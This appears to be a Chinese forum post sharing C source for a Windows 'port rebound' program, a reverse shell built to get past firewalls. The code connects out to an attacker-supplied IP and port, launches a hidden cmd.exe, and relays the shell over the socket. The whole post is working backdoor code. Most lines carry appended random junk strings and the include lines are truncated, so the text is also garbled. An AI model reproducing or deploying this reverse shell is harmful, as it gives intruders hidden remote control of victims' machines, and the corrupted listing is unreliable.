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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gJhiGYx  
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/* ============================== &0f,~ /%Z  
Rebound port in Windows NT MPk5^ua:  
By wind,2006/7 rGkyGz8>  
===============================*/ X?$_Sd"G+5  
#include QM]YJr3r E  
#include d %#b:(,  
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#pragma comment(lib,"wsock32.lib") fT{Yg /j  
pNIf=lA  
void OutputShell(); z ]Ue|%K  
SOCKET sClient; rbpSg7}Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _2nx^E(pd  
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void main(int argc,char **argv) ?s _5&j7  
{ EP+J N  
WSADATA stWsaData; m6djeOl  
int nRet; UDni]P!E  
SOCKADDR_IN stSaiClient,stSaiServer; Y<rU#Z#T  
}{"fJ3] c^  
if(argc != 3) -gWZwW/lD  
{ p^_yU_  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q|L~=9  
return; U?=Dg1  
} o lxByzTh>  
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WSAStartup(MAKEWORD(2,2),&stWsaData); +]50DxflA  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )0R'(#  
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stSaiClient.sin_family = AF_INET; m9A!D  
stSaiClient.sin_port = htons(0); F\KUZ[%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3t6 LT  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p"Z-6m~  
{ 7`YEH2  
printf("Bind Socket Failed!\n"); ,{q;;b9  
return; AFfAtu  
} l0hlM#  
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stSaiServer.sin_family = AF_INET; +H2-ZXr  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ss e.*75U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z`BK/:vo3H  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?NP1y9Y]i  
{ kM@zyDn,  
printf("Connect Error!"); hiw|2Y&`  
return; V#}kwON  
} &yol_%C  
OutputShell();  ^Va1f'g  
} $lu t[o74  
Jdp3nzM^^@  
void OutputShell() 7`hP?a=  
{ AnvRxb.e  
char szBuff[1024]; 2,P^n4~A?w  
SECURITY_ATTRIBUTES stSecurityAttributes; ;xs"j-r/  
OSVERSIONINFO stOsversionInfo; 7fX<511(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "v4B5:bmqW  
STARTUPINFO stStartupInfo; 7( 2{'r  
char *szShell; HgkC~'  
PROCESS_INFORMATION stProcessInformation; .@Dxp]/B}  
unsigned long lBytesRead; 8Dm%@*B^b  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %-e 82J1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aCLqk'  
stSecurityAttributes.lpSecurityDescriptor = 0; w(TJ*::T  
stSecurityAttributes.bInheritHandle = TRUE; D+7Rz_=  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N<KS(@v y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^B 2 -)  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zdo'{ $  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H_<C!OgR  
stStartupInfo.wShowWindow = SW_HIDE; r s?R:+  
stStartupInfo.hStdInput = hReadPipe; A:9?ZI/X  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ">j j  
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GetVersionEx(&stOsversionInfo); .JiziFJ@mj  
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switch(stOsversionInfo.dwPlatformId) 4^OY C  
{ x6ARzH\  
case 1: ;Nj7qt  
szShell = "command.com"; u21EP[[,  
break; do+.aOC  
default: @w!PaP  
szShell = "cmd.exe"; 9lH?-~9  
break; JOLaP@IPT  
} Q=20IQp  
jc f #6   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -FQ 'agf@&  
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send(sClient,szMsg,77,0); O ,h;hQZ  
while(1) -rli(RR)|  
{ mh[75(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !pdb'*,n  
if(lBytesRead) oVfLnI ;  
{ z(^]J`+\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 28J^DMOW  
send(sClient,szBuff,lBytesRead,0); H_X [t*2  
} )vb*Ef  
else hUMf"=q+  
{ #c?j\Y9nz  
lBytesRead=recv(sClient,szBuff,1024,0); thM4vq   
if(lBytesRead<=0) break; bNNr]h8y-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :Ab%g-  
} g($DdKc|g  
} *P2S6z2  
:G2k5xD/E  
return; D(RTVef  
}
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